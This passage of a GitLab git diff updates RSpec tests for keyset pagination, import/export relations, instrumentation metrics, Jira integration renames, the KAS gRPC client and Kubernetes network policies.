+ context 'when after cursor value is not NULL' do
+ let(:arguments) { { after: encoded_cursor(descending_nodes[1]) } }
+
+ it 'returns all projects after the cursor' do
+ expect(subject.sliced_nodes).to eq(descending_nodes.last(3))
+ end
+ end
+
+ context 'when before and after cursor' do
+ let(:arguments) { { before: encoded_cursor(descending_nodes.last), after: encoded_cursor(descending_nodes.first) } }
+
+ it 'returns all projects after the cursor' do
+ expect(subject.sliced_nodes).to eq(descending_nodes[1..3])
+ end
+ end
+ end
+
+ context 'when multiple orders with nil values are defined' do
+ let_it_be(:project1) { create(:project, last_repository_check_at: 10.days.ago) } # Asc: project5 Desc: project3
+ let_it_be(:project2) { create(:project, last_repository_check_at: nil) } # Asc: project1 Desc: project1
+ let_it_be(:project3) { create(:project, last_repository_check_at: 5.days.ago) } # Asc: project3 Desc: project5
+ let_it_be(:project4) { create(:project, last_repository_check_at: nil) } # Asc: project2 Desc: project2
+ let_it_be(:project5) { create(:project, last_repository_check_at: 20.days.ago) } # Asc: project4 Desc: project4
+
+ context 'when ascending' do
+ let_it_be(:order) { Gitlab::Pagination::Keyset::Order.build([column_order_last_repo, column_order_id]) }
+ let_it_be(:nodes) { Project.order(order) }
+ let_it_be(:ascending_nodes) { [project5, project1, project3, project2, project4] }
+
+ it_behaves_like 'nodes are in ascending order'
+
+ context 'when before cursor value is NULL' do
+ let(:arguments) { { before: encoded_cursor(project4) } }
+
+ it 'returns all projects before the cursor' do
+ expect(subject.sliced_nodes).to eq([project5, project1, project3, project2])
+ end
+ end
+
+ context 'when after cursor value is NULL' do
+ let(:arguments) { { after: encoded_cursor(project2) } }
+
+ it 'returns all projects after the cursor' do
+ expect(subject.sliced_nodes).to eq([project4])
+ end
+ end
+ end
+
+ context 'when descending' do
+ let_it_be(:order) { Gitlab::Pagination::Keyset::Order.build([column_order_last_repo_desc, column_order_id]) }
+ let_it_be(:nodes) { Project.order(order) }
+ let_it_be(:descending_nodes) { [project3, project1, project5, project2, project4] }
+
+ it_behaves_like 'nodes are in descending order'
+
+ context 'when before cursor value is NULL' do
+ let(:arguments) { { before: encoded_cursor(project4) } }
+
+ it 'returns all projects before the cursor' do
+ expect(subject.sliced_nodes).to eq([project3, project1, project5, project2])
+ end
+ end
+
+ context 'when after cursor value is NULL' do
+ let(:arguments) { { after: encoded_cursor(project2) } }
+
+ it 'returns all projects after the cursor' do
+ expect(subject.sliced_nodes).to eq([project4])
+ end
+ end
+ end
+ end
+
+ # rubocop: disable RSpec/EmptyExampleGroup
+ context 'when ordering uses LOWER' do
+ end
+ # rubocop: enable RSpec/EmptyExampleGroup
+
+ context 'when ordering by similarity' do
+ let_it_be(:project1) { create(:project, name: 'test') }
+ let_it_be(:project2) { create(:project, name: 'testing') }
+ let_it_be(:project3) { create(:project, name: 'tests') }
+ let_it_be(:project4) { create(:project, name: 'testing stuff') }
+ let_it_be(:project5) { create(:project, name: 'test') }
+
+ let_it_be(:nodes) do
+ # Note: sorted_by_similarity_desc scope internally supports the generic keyset order.
+ Project.sorted_by_similarity_desc('test', include_in_select: true)
+ end
+
+ let_it_be(:descending_nodes) { nodes.to_a }
+
+ it_behaves_like 'nodes are in descending order'
+ end
+
+ context 'when an invalid cursor is provided' do
+ let(:arguments) { { before: Base64Bp.urlsafe_encode64('invalidcursor', padding: false) } }
+
+ it 'raises an error' do
+ expect { subject.sliced_nodes }.to raise_error(Gitlab::Graphql::Errors::ArgumentError)
+ end
+ end
+ end
+
+ describe '#nodes' do
+ let_it_be(:all_nodes) { create_list(:project, 5) }
+
+ let(:paged_nodes) { subject.nodes }
+
+ it_behaves_like 'connection with paged nodes' do
+ let(:paged_nodes_size) { 3 }
+ end
+
+ context 'when both are passed' do
+ let(:arguments) { { first: 2, last: 2 } }
+
+ it 'raises an error' do
+ expect { paged_nodes }.to raise_error(Gitlab::Graphql::Errors::ArgumentError)
+ end
+ end
+
+ context 'when primary key is not in original order' do
+ let(:nodes) { Project.order(last_repository_check_at: :desc) }
+
+ it 'is added to end' do
+ sliced = subject.sliced_nodes
+
+ order_sql = sliced.order_values.last.to_sql
+
+ expect(order_sql).to end_with(Project.arel_table[:id].desc.to_sql)
+ end
+ end
+
+ context 'when there is no primary key' do
+ before do
+ stub_const('NoPrimaryKey', Class.new(ActiveRecord::Base))
+ NoPrimaryKey.class_eval do
+ self.table_name = 'no_primary_key'
+ self.primary_key = nil
+ end
+ end
+
+ let(:nodes) { NoPrimaryKey.all }
+
+ it 'raises an error' do
+ expect(NoPrimaryKey.primary_key).to be_nil
+ expect { subject.sliced_nodes }.to raise_error(ArgumentError, 'Relation must have a primary key')
+ end
+ end
+ end
+
+ describe '#has_previous_page and #has_next_page' do
+ # using a list of 5 items with a max_page of 3
+ let_it_be(:project_list) { create_list(:project, 5) }
+ let_it_be(:nodes) { Project.order(Gitlab::Pagination::Keyset::Order.build([column_order_id])) }
+
+ context 'when default query' do
+ let(:arguments) { {} }
+
+ it 'has no previous, but a next' do
+ expect(subject.has_previous_page).to be_falsey
+ expect(subject.has_next_page).to be_truthy
+ end
+ end
+
+ context 'when before is first item' do
+ let(:arguments) { { before: encoded_cursor(project_list.first) } }
+
+ it 'has no previous, but a next' do
+ expect(subject.has_previous_page).to be_falsey
+ expect(subject.has_next_page).to be_truthy
+ end
+ end
+
+ describe 'using `before`' do
+ context 'when before is the last item' do
+ let(:arguments) { { before: encoded_cursor(project_list.last) } }
+
+ it 'has no previous, but a next' do
+ expect(subject.has_previous_page).to be_falsey
+ expect(subject.has_next_page).to be_truthy
+ end
+ end
+
+ context 'when before and last specified' do
+ let(:arguments) { { before: encoded_cursor(project_list.last), last: 2 } }
+
+ it 'has a previous and a next' do
+ expect(subject.has_previous_page).to be_truthy
+ expect(subject.has_next_page).to be_truthy
+ end
+ end
+
+ context 'when before and last does request all remaining nodes' do
+ let(:arguments) { { before: encoded_cursor(project_list[1]), last: 3 } }
+
+ it 'has a previous and a next' do
+ expect(subject.has_previous_page).to be_falsey
+ expect(subject.has_next_page).to be_truthy
+ expect(subject.nodes).to eq [project_list[0]]
+ end
+ end
+ end
+
+ describe 'using `after`' do
+ context 'when after is the first item' do
+ let(:arguments) { { after: encoded_cursor(project_list.first) } }
+
+ it 'has a previous, and a next' do
+ expect(subject.has_previous_page).to be_truthy
+ expect(subject.has_next_page).to be_truthy
+ end
+ end
+
+ context 'when after and first specified' do
+ let(:arguments) { { after: encoded_cursor(project_list.first), first: 2 } }
+
+ it 'has a previous and a next' do
+ expect(subject.has_previous_page).to be_truthy
+ expect(subject.has_next_page).to be_truthy
+ end
+ end
+
+ context 'when before and last does request all remaining nodes' do
+ let(:arguments) { { after: encoded_cursor(project_list[2]), last: 3 } }
+
+ it 'has a previous but no next' do
+ expect(subject.has_previous_page).to be_truthy
+ expect(subject.has_next_page).to be_falsey
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb b/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
index 03030728834..8ef5f1147c5 100644
--- a/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
+++ b/spec/lib/gitlab/graphql/pagination/keyset/connection_spec.rb
@@ -355,6 +355,10 @@ RSpec.describe Gitlab::Graphql::Pagination::Keyset::Connection do
context 'when primary key is not in original order' do
let(:nodes) { Project.order(last_repository_check_at: :desc) }
+ before do
+ stub_feature_flags(new_graphql_keyset_pagination: false)
+ end
+
it 'is added to end' do
sliced = subject.sliced_nodes
diff --git a/spec/lib/gitlab/group_search_results_spec.rb b/spec/lib/gitlab/group_search_results_spec.rb
index 009f66d2108..ec96a069b8f 100644
--- a/spec/lib/gitlab/group_search_results_spec.rb
+++ b/spec/lib/gitlab/group_search_results_spec.rb
@@ -8,6 +8,7 @@ RSpec.describe Gitlab::GroupSearchResults do
let_it_be(:group) { create(:group) }
let_it_be(:user) { create(:user) }
let_it_be(:project) { create(:project, :public, group: group) }
+
let(:filters) { {} }
let(:limit_projects) { Project.all }
let(:query) { 'gob' }
diff --git a/spec/lib/gitlab/highlight_spec.rb b/spec/lib/gitlab/highlight_spec.rb
index 1f06019c929..ccb3ae1018a 100644
--- a/spec/lib/gitlab/highlight_spec.rb
+++ b/spec/lib/gitlab/highlight_spec.rb
@@ -50,9 +50,16 @@ RSpec.describe Gitlab::Highlight do
let(:result) { described_class.highlight(file_name, content) } # content is 44 bytes
before do
+ stub_feature_flags(one_megabyte_file_size_limit: false)
stub_config(extra: { 'maximum_text_highlight_size_kilobytes' => 0.0001 } ) # 1.024 bytes
end
+ it 'confirm file size is 1MB when `one_megabyte_file_size_limit` is enabled' do
+ stub_feature_flags(one_megabyte_file_size_limit: true)
+ expect(described_class.too_large?(1024.kilobytes)).to eq(false)
+ expect(described_class.too_large?(1025.kilobytes)).to eq(true)
+ end
+
it 'increments the metric for oversized files' do
expect { result }.to change { over_highlight_size_limit('file size: 0.0001') }.by(1)
end
diff --git a/spec/lib/gitlab/hook_data/issue_builder_spec.rb b/spec/lib/gitlab/hook_data/issue_builder_spec.rb
index 8f976bcf09d..039b4c19522 100644
--- a/spec/lib/gitlab/hook_data/issue_builder_spec.rb
+++ b/spec/lib/gitlab/hook_data/issue_builder_spec.rb
@@ -48,6 +48,7 @@ RSpec.describe Gitlab::HookData::IssueBuilder do
expect(data).to include(:human_time_change)
expect(data).to include(:assignee_ids)
expect(data).to include(:state)
+ expect(data).to include(:severity)
expect(data).to include('labels' => [label.hook_attrs])
end
diff --git a/spec/lib/gitlab/import_export/all_models.yml b/spec/lib/gitlab/import_export/all_models.yml
index 87a10b52b22..78805cea66a 100644
--- a/spec/lib/gitlab/import_export/all_models.yml
+++ b/spec/lib/gitlab/import_export/all_models.yml
@@ -54,6 +54,8 @@ issues:
- namespace
- note_authors
- issue_email_participants
+- test_reports
+- requirement
events:
- author
- project
@@ -196,6 +198,8 @@ merge_request_diff:
- merge_request_diff_files
merge_request_diff_commits:
- merge_request_diff
+- commit_author
+- committer
merge_request_diff_detail:
- merge_request_diff
merge_request_diff_files:
@@ -367,34 +371,34 @@ project:
- discord_integration
- drone_ci_integration
- emails_on_push_integration
-- pipelines_email_service
-- mattermost_slash_commands_service
-- slack_slash_commands_service
+- pipelines_email_integration
+- mattermost_slash_commands_integration
+- slack_slash_commands_integration
- irker_integration
-- packagist_service
-- pivotaltracker_service
-- prometheus_service
+- packagist_integration
+- pivotaltracker_integration
+- prometheus_integration
- flowdock_integration
- assembla_integration
- asana_integration
-- slack_service
-- microsoft_teams_service
-- mattermost_service
+- slack_integration
+- microsoft_teams_integration
+- mattermost_integration
- hangouts_chat_integration
-- unify_circuit_service
+- unify_circuit_integration
- buildkite_integration
- bamboo_integration
-- teamcity_service
-- pushover_service
-- jira_service
-- redmine_service
-- youtrack_service
+- teamcity_integration
+- pushover_integration
+- jira_integration
+- redmine_integration
+- youtrack_integration
- custom_issue_tracker_integration
- bugzilla_integration
- ewm_integration
- external_wiki_integration
-- mock_ci_service
-- mock_monitoring_service
+- mock_ci_integration
+- mock_monitoring_integration
- forked_to_members
- forked_from_project
- forks
@@ -480,12 +484,12 @@ project:
- kubernetes_namespaces
- error_tracking_setting
- metrics_setting
-- gitlab_slack_application_service
-- github_service
+- gitlab_slack_application_integration
+- github_integration
- protected_environments
- mirror_user
- push_rule
-- jenkins_service
+- jenkins_integration
- index_status
- feature_usage
- approval_rules
@@ -557,7 +561,7 @@ project:
- alert_management_alerts
- repository_storage_moves
- freeze_periods
-- webex_teams_service
+- webex_teams_integration
- build_report_results
- vulnerability_statistic
- vulnerability_historical_statistics
@@ -574,6 +578,7 @@ project:
- merge_request_metrics
- security_orchestration_policy_configuration
- timelogs
+- error_tracking_errors
award_emoji:
- awardable
- user
diff --git a/spec/lib/gitlab/import_export/import_test_coverage_spec.rb b/spec/lib/gitlab/import_export/import_test_coverage_spec.rb
index 7a9e7d8afba..9c6d2708607 100644
--- a/spec/lib/gitlab/import_export/import_test_coverage_spec.rb
+++ b/spec/lib/gitlab/import_export/import_test_coverage_spec.rb
@@ -109,14 +109,14 @@ RSpec.describe 'Test coverage of the Project Import' do
def failure_message(not_tested_relations)
<<~MSG
- These relations seem to be added recenty and
+ These relations seem to be added recently and
they expected to be covered in our Import specs: #{not_tested_relations}.
To do that, expand one of the files listed in `project_json_fixtures`
(or expand the list if you consider adding a new fixture file).
After that, add a new spec into
- `spec/lib/gitlab/import_export/project_tree_restorer_spec.rb`
+ `spec/lib/gitlab/import_export/project/tree_restorer_spec.rb`
to check that the relation is being imported correctly.
In case the spec breaks the master or there is a sense of urgency,
diff --git a/spec/lib/gitlab/import_export/project/object_builder_spec.rb b/spec/lib/gitlab/import_export/project/object_builder_spec.rb
index 20d882c82be..4c9f9f7c690 100644
--- a/spec/lib/gitlab/import_export/project/object_builder_spec.rb
+++ b/spec/lib/gitlab/import_export/project/object_builder_spec.rb
@@ -150,4 +150,30 @@ RSpec.describe Gitlab::ImportExport::Project::ObjectBuilder do
expect(merge_request.persisted?).to be true
end
end
+
+ context 'merge request diff commit users' do
+ it 'finds the existing user' do
+ user = MergeRequest::DiffCommitUser
+ .find_or_create('Alice', 'alice@example.com')
+
+ found = described_class.build(
+ MergeRequest::DiffCommitUser,
+ 'name' => 'Alice',
+ 'email' => 'alice@example.com'
+ )
+
+ expect(found).to eq(user)
+ end
+
+ it 'creates a new user' do
+ found = described_class.build(
+ MergeRequest::DiffCommitUser,
+ 'name' => 'Alice',
+ 'email' => 'alice@example.com'
+ )
+
+ expect(found.name).to eq('Alice')
+ expect(found.email).to eq('alice@example.com')
+ end
+ end
end
diff --git a/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb b/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
index 1b5fba85020..82f465c4f9e 100644
--- a/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
+++ b/spec/lib/gitlab/import_export/project/tree_restorer_spec.rb
@@ -224,6 +224,27 @@ RSpec.describe Gitlab::ImportExport::Project::TreeRestorer do
expect(MergeRequestDiffCommit.count).to eq(77)
end
+ it 'assigns committer and author details to all diff commits' do
+ MergeRequestDiffCommit.all.each do |commit|
+ expect(commit.commit_author_id).not_to be_nil
+ expect(commit.committer_id).not_to be_nil
+ end
+ end
+
+ it 'assigns the correct commit users to different diff commits' do
+ commit1 = MergeRequestDiffCommit
+ .find_by(sha: '0b4bc9a49b562e85de7cc9e834518ea6828729b9')
+
+ commit2 = MergeRequestDiffCommit
+ .find_by(sha: 'a4e5dfebf42e34596526acb8611bc7ed80e4eb3f')
+
+ expect(commit1.commit_author.name).to eq('Dmitriy Zaporozhets')
+ expect(commit1.commit_author.email).to eq('dmitriy.zaporozhets@gmail.com')
+
+ expect(commit2.commit_author.name).to eq('James Lopez')
+ expect(commit2.commit_author.email).to eq('james@jameslopez.es')
+ end
+
it 'has the correct data for merge request latest_merge_request_diff' do
MergeRequest.find_each do |merge_request|
expect(merge_request.latest_merge_request_diff_id).to eq(merge_request.merge_request_diffs.maximum(:id))
diff --git a/spec/lib/gitlab/import_export/safe_model_attributes.yml b/spec/lib/gitlab/import_export/safe_model_attributes.yml
index 2173bee6b4b..77d126e012e 100644
--- a/spec/lib/gitlab/import_export/safe_model_attributes.yml
+++ b/spec/lib/gitlab/import_export/safe_model_attributes.yml
@@ -235,6 +235,10 @@ MergeRequestDiffCommit:
- committer_email
- message
- trailers
+MergeRequest::DiffCommitUser:
+- id
+- name
+- email
MergeRequestDiffFile:
- merge_request_diff_id
- relative_order
@@ -645,6 +649,7 @@ Timelog:
- spent_at
- created_at
- updated_at
+- summary
ProjectAutoDevops:
- id
- enabled
diff --git a/spec/lib/gitlab/import_export/shared_spec.rb b/spec/lib/gitlab/import_export/shared_spec.rb
index feeb88397eb..1945156ca59 100644
--- a/spec/lib/gitlab/import_export/shared_spec.rb
+++ b/spec/lib/gitlab/import_export/shared_spec.rb
@@ -26,7 +26,7 @@ RSpec.describe Gitlab::ImportExport::Shared do
describe '#export_path' do
it 'uses a random hash relative to project path' do
- expect(subject.export_path).to match(/#{base_path}\h{32}\/\h{32}/)
+ expect(subject.export_path).to match(%r{#{base_path}\h{32}/\h{32}})
end
it 'memoizes the path' do
@@ -44,7 +44,7 @@ RSpec.describe Gitlab::ImportExport::Shared do
subject = described_class.new(group)
base_path = %(/tmp/gitlab_exports/@groups/)
- expect(subject.base_path).to match(/#{base_path}\h{2}\/\h{2}\/\h{64}/)
+ expect(subject.base_path).to match(%r{#{base_path}\h{2}/\h{2}/\h{64}})
end
end
end
diff --git a/spec/lib/gitlab/import_export/snippet_repo_restorer_spec.rb b/spec/lib/gitlab/import_export/snippet_repo_restorer_spec.rb
index fe934cadedd..c1661cf02b6 100644
--- a/spec/lib/gitlab/import_export/snippet_repo_restorer_spec.rb
+++ b/spec/lib/gitlab/import_export/snippet_repo_restorer_spec.rb
@@ -29,7 +29,7 @@ RSpec.describe Gitlab::ImportExport::SnippetRepoRestorer do
expect(restorer.restore).to be_truthy
end.to change { SnippetRepository.count }.by(1)
- blob = snippet.repository.blob_at('HEAD', snippet.file_name)
+ blob = snippet.repository.blob_at(snippet.default_branch, snippet.file_name)
expect(blob).not_to be_nil
expect(blob.data).to eq(snippet.content)
end
diff --git a/spec/lib/gitlab/instrumentation_helper_spec.rb b/spec/lib/gitlab/instrumentation_helper_spec.rb
index 28ae90d4947..48fcc9f93db 100644
--- a/spec/lib/gitlab/instrumentation_helper_spec.rb
+++ b/spec/lib/gitlab/instrumentation_helper_spec.rb
@@ -99,23 +99,6 @@ RSpec.describe Gitlab::InstrumentationHelper do
:mem_mallocs
)
end
-
- context 'when trace_memory_allocations is disabled' do
- before do
- stub_feature_flags(trace_memory_allocations: false)
- Gitlab::Memory::Instrumentation.ensure_feature_flag!
- end
-
- it 'does not log memory usage metrics' do
- subject
-
- expect(payload).not_to include(
- :mem_objects,
- :mem_bytes,
- :mem_mallocs
- )
- end
- end
end
context 'when load balancing is enabled' do
@@ -133,7 +116,37 @@ RSpec.describe Gitlab::InstrumentationHelper do
db_primary_count: 0,
db_primary_cached_count: 0,
db_primary_wal_count: 0,
- db_replica_wal_count: 0)
+ db_replica_wal_count: 0,
+ db_primary_wal_cached_count: 0,
+ db_replica_wal_cached_count: 0)
+ end
+
+ context 'when replica caught up search was made' do
+ before do
+ Gitlab::SafeRequestStore[:caught_up_replica_pick_ok] = 2
+ Gitlab::SafeRequestStore[:caught_up_replica_pick_fail] = 1
+ end
+
+ it 'includes related metrics' do
+ subject
+
+ expect(payload).to include(caught_up_replica_pick_ok: 2)
+ expect(payload).to include(caught_up_replica_pick_fail: 1)
+ end
+ end
+
+ context 'when only a single counter was updated' do
+ before do
+ Gitlab::SafeRequestStore[:caught_up_replica_pick_ok] = 1
+ Gitlab::SafeRequestStore[:caught_up_replica_pick_fail] = nil
+ end
+
+ it 'includes only that counter into logging' do
+ subject
+
+ expect(payload).to include(caught_up_replica_pick_ok: 1)
+ expect(payload).not_to include(:caught_up_replica_pick_fail)
+ end
end
end
@@ -150,7 +163,9 @@ RSpec.describe Gitlab::InstrumentationHelper do
db_primary_count: 0,
db_primary_cached_count: 0,
db_primary_wal_count: 0,
- db_replica_wal_count: 0)
+ db_replica_wal_count: 0,
+ db_primary_wal_cached_count: 0,
+ db_replica_wal_cached_count: 0)
end
end
end
diff --git a/spec/lib/gitlab/integrations/sti_type_spec.rb b/spec/lib/gitlab/integrations/sti_type_spec.rb
index 3154872ed04..70b93d6a4b5 100644
--- a/spec/lib/gitlab/integrations/sti_type_spec.rb
+++ b/spec/lib/gitlab/integrations/sti_type_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe Gitlab::Integrations::StiType do
context 'SQL SELECT' do
let(:expected_sql) do
<<~SQL.strip
- SELECT "services".* FROM "services" WHERE "services"."type" = 'AsanaService'
+ SELECT "integrations".* FROM "integrations" WHERE "integrations"."type" = 'AsanaService'
SQL
end
@@ -25,7 +25,7 @@ RSpec.describe Gitlab::Integrations::StiType do
context 'SQL CREATE' do
let(:expected_sql) do
<<~SQL.strip
- INSERT INTO "services" ("type") VALUES ('AsanaService')
+ INSERT INTO "integrations" ("type") VALUES ('AsanaService')
SQL
end
@@ -42,7 +42,7 @@ RSpec.describe Gitlab::Integrations::StiType do
context 'SQL UPDATE' do
let(:expected_sql) do
<<~SQL.strip
- UPDATE "services" SET "type" = 'AsanaService'
+ UPDATE "integrations" SET "type" = 'AsanaService'
SQL
end
@@ -61,7 +61,7 @@ RSpec.describe Gitlab::Integrations::StiType do
context 'SQL DELETE' do
let(:expected_sql) do
<<~SQL.strip
- DELETE FROM "services" WHERE "services"."type" = 'AsanaService'
+ DELETE FROM "integrations" WHERE "integrations"."type" = 'AsanaService'
SQL
end
diff --git a/spec/lib/gitlab/jira_import/base_importer_spec.rb b/spec/lib/gitlab/jira_import/base_importer_spec.rb
index 9d8143775f9..479551095de 100644
--- a/spec/lib/gitlab/jira_import/base_importer_spec.rb
+++ b/spec/lib/gitlab/jira_import/base_importer_spec.rb
@@ -9,10 +9,10 @@ RSpec.describe Gitlab::JiraImport::BaseImporter do
describe 'with any inheriting class' do
context 'when project validation is ok' do
- let!(:jira_service) { create(:jira_service, project: project) }
+ let!(:jira_integration) { create(:jira_integration, project: project) }
before do
- stub_jira_service_test
+ stub_jira_integration_test
allow(Gitlab::JiraImport).to receive(:validate_project_settings!)
end
diff --git a/spec/lib/gitlab/jira_import/issues_importer_spec.rb b/spec/lib/gitlab/jira_import/issues_importer_spec.rb
index 4a32f0fd3a9..aead5405bd1 100644
--- a/spec/lib/gitlab/jira_import/issues_importer_spec.rb
+++ b/spec/lib/gitlab/jira_import/issues_importer_spec.rb
@@ -9,12 +9,12 @@ RSpec.describe Gitlab::JiraImport::IssuesImporter do
let_it_be(:current_user) { create(:user) }
let_it_be(:project) { create(:project) }
let_it_be(:jira_import) { create(:jira_import_state, project: project, user: current_user) }
- let_it_be(:jira_service) { create(:jira_service, project: project) }
+ let_it_be(:jira_integration) { create(:jira_integration, project: project) }
subject { described_class.new(project) }
before do
- stub_jira_service_test
+ stub_jira_integration_test
end
describe '#imported_items_cache_key' do
diff --git a/spec/lib/gitlab/jira_import/labels_importer_spec.rb b/spec/lib/gitlab/jira_import/labels_importer_spec.rb
index db98a83cb3c..71440590815 100644
--- a/spec/lib/gitlab/jira_import/labels_importer_spec.rb
+++ b/spec/lib/gitlab/jira_import/labels_importer_spec.rb
@@ -8,7 +8,7 @@ RSpec.describe Gitlab::JiraImport::LabelsImporter do
let_it_be(:user) { create(:user) }
let_it_be(:group) { create(:group) }
let_it_be(:project) { create(:project, group: group) }
- let_it_be(:jira_service) { create(:jira_service, project: project) }
+ let_it_be(:jira_integration) { create(:jira_integration, project: project) }
let(:importer) { described_class.new(project) }
@@ -20,7 +20,7 @@ RSpec.describe Gitlab::JiraImport::LabelsImporter do
describe '#execute', :clean_gitlab_redis_cache do
before do
- stub_jira_service_test
+ stub_jira_integration_test
end
context 'when label is missing from jira import' do
diff --git a/spec/lib/gitlab/jira_import_spec.rb b/spec/lib/gitlab/jira_import_spec.rb
index 94fdff984d5..a7c73e79641 100644
--- a/spec/lib/gitlab/jira_import_spec.rb
+++ b/spec/lib/gitlab/jira_import_spec.rb
@@ -31,12 +31,12 @@ RSpec.describe Gitlab::JiraImport do
end
end
- context 'when Jira service was not setup' do
+ context 'when Jira integration was not setup' do
it_behaves_like 'raise Jira import error', 'Jira integration not configured.'
end
- context 'when Jira service exists' do
- let!(:jira_service) { create(:jira_service, project: project, active: true) }
+ context 'when Jira integration exists' do
+ let!(:jira_integration) { create(:jira_integration, project: project, active: true) }
context 'when Jira connection is not valid' do
before do
@@ -50,14 +50,14 @@ RSpec.describe Gitlab::JiraImport do
end
before do
- stub_jira_service_test
+ stub_jira_integration_test
end
context 'without user param' do
it_behaves_like 'jira configuration base checks'
context 'when jira connection is valid' do
- let!(:jira_service) { create(:jira_service, project: project, active: true) }
+ let!(:jira_integration) { create(:jira_integration, project: project, active: true) }
it 'does not return any error' do
expect { subject }.not_to raise_error
@@ -77,8 +77,8 @@ RSpec.describe Gitlab::JiraImport do
it_behaves_like 'jira configuration base checks'
- context 'when jira service is configured' do
- let!(:jira_service) { create(:jira_service, project: project, active: true) }
+ context 'when jira integration is configured' do
+ let!(:jira_integration) { create(:jira_integration, project: project, active: true) }
context 'when issues feature is disabled' do
let_it_be(:project, reload: true) { create(:project, :issues_disabled) }
@@ -96,7 +96,7 @@ RSpec.describe Gitlab::JiraImport do
context 'when user does not have permissions to run the import' do
before do
- create(:jira_service, project: project, active: true)
+ create(:jira_integration, project: project, active: true)
project.add_developer(user)
end
diff --git a/spec/lib/gitlab/json_cache_spec.rb b/spec/lib/gitlab/json_cache_spec.rb
index 563b3d35823..8265c3449bb 100644
--- a/spec/lib/gitlab/json_cache_spec.rb
+++ b/spec/lib/gitlab/json_cache_spec.rb
@@ -4,6 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::JsonCache do
let_it_be(:broadcast_message) { create(:broadcast_message) }
+
let(:backend) { double('backend').as_null_object }
let(:namespace) { 'geo' }
let(:key) { 'foo' }
diff --git a/spec/lib/gitlab/kas/client_spec.rb b/spec/lib/gitlab/kas/client_spec.rb
index 7bf2d30ca48..40e18f58ee4 100644
--- a/spec/lib/gitlab/kas/client_spec.rb
+++ b/spec/lib/gitlab/kas/client_spec.rb
@@ -30,10 +30,11 @@ RSpec.describe Gitlab::Kas::Client do
describe 'gRPC calls' do
let(:token) { instance_double(JSONWebToken::HMACToken, encoded: 'test-token') }
+ let(:kas_url) { 'grpc://example.kas.internal' }
before do
allow(Gitlab::Kas).to receive(:enabled?).and_return(true)
- allow(Gitlab::Kas).to receive(:internal_url).and_return('grpc://example.kas.internal')
+ allow(Gitlab::Kas).to receive(:internal_url).and_return(kas_url)
expect(JSONWebToken::HMACToken).to receive(:new)
.with(Gitlab::Kas.secret)
@@ -80,5 +81,21 @@ RSpec.describe Gitlab::Kas::Client do
it { expect(subject).to eq(agent_configurations) }
end
+
+ describe 'with grpcs' do
+ let(:stub) { instance_double(Gitlab::Agent::ConfigurationProject::Rpc::ConfigurationProject::Stub) }
+ let(:kas_url) { 'grpcs://example.kas.internal' }
+
+ it 'uses a ChannelCredentials object' do
+ expect(Gitlab::Agent::ConfigurationProject::Rpc::ConfigurationProject::Stub).to receive(:new)
+ .with('example.kas.internal', instance_of(GRPC::Core::ChannelCredentials), timeout: described_class::TIMEOUT)
+ .and_return(stub)
+
+ allow(stub).to receive(:list_agent_config_files)
+ .and_return(double(config_files: []))
+
+ described_class.new.list_agent_config_files(project: project)
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/kas_spec.rb b/spec/lib/gitlab/kas_spec.rb
index c9d40f785b8..24d2b03fe2a 100644
--- a/spec/lib/gitlab/kas_spec.rb
+++ b/spec/lib/gitlab/kas_spec.rb
@@ -104,48 +104,4 @@ RSpec.describe Gitlab::Kas do
end
end
end
-
- describe '.included_in_gitlab_com_rollout?' do
- let_it_be(:project) { create(:project) }
-
- context 'not GitLab.com' do
- before do
- allow(Gitlab).to receive(:com?).and_return(false)
- end
-
- it 'returns true' do
- expect(described_class.included_in_gitlab_com_rollout?(project)).to be_truthy
- end
- end
-
- context 'GitLab.com' do
- before do
- allow(Gitlab).to receive(:com?).and_return(true)
- end
-
- context 'kubernetes_agent_on_gitlab_com feature flag disabled' do
- before do
- stub_feature_flags(kubernetes_agent_on_gitlab_com: false)
- end
-
- it 'returns false' do
- expect(described_class.included_in_gitlab_com_rollout?(project)).to be_falsey
- end
- end
-
- context 'kubernetes_agent_on_gitlab_com feature flag enabled' do
- before do
- stub_feature_flags(kubernetes_agent_on_gitlab_com: project)
- end
-
- it 'returns true' do
- expect(described_class.included_in_gitlab_com_rollout?(project)).to be_truthy
- end
-
- it 'returns false for another project' do
- expect(described_class.included_in_gitlab_com_rollout?(create(:project))).to be_falsey
- end
- end
- end
- end
end
diff --git a/spec/lib/gitlab/kroki_spec.rb b/spec/lib/gitlab/kroki_spec.rb
index 31d3edd158b..7d29d018ff1 100644
--- a/spec/lib/gitlab/kroki_spec.rb
+++ b/spec/lib/gitlab/kroki_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe Gitlab::Kroki do
describe '.formats' do
def default_formats
- %w[bytefield c4plantuml ditaa erd graphviz nomnoml plantuml svgbob umlet vega vegalite wavedrom].freeze
+ %w[bytefield c4plantuml ditaa erd graphviz nomnoml pikchr plantuml svgbob umlet vega vegalite wavedrom].freeze
end
subject { described_class.formats(Gitlab::CurrentSettings) }
diff --git a/spec/lib/gitlab/kubernetes/cilium_network_policy_spec.rb b/spec/lib/gitlab/kubernetes/cilium_network_policy_spec.rb
index 0092c69d0bb..ec1f46100a4 100644
--- a/spec/lib/gitlab/kubernetes/cilium_network_policy_spec.rb
+++ b/spec/lib/gitlab/kubernetes/cilium_network_policy_spec.rb
@@ -206,6 +206,14 @@ RSpec.describe Gitlab::Kubernetes::CiliumNetworkPolicy do
it { is_expected.to be_nil }
end
+
+ context 'with environment_ids' do
+ subject { Gitlab::Kubernetes::CiliumNetworkPolicy.from_resource(resource, [1, 2, 3]) }
+
+ it 'includes environment_ids in as_json result' do
+ expect(subject.as_json).to include(environment_ids: [1, 2, 3])
+ end
+ end
end
describe '#resource' do
diff --git a/spec/lib/gitlab/kubernetes/network_policy_spec.rb b/spec/lib/gitlab/kubernetes/network_policy_spec.rb
index d3640c61d94..2cba37a1302 100644
--- a/spec/lib/gitlab/kubernetes/network_policy_spec.rb
+++ b/spec/lib/gitlab/kubernetes/network_policy_spec.rb
@@ -196,6 +196,14 @@ RSpec.describe Gitlab::Kubernetes::NetworkPolicy do
it { is_expected.to be_nil }
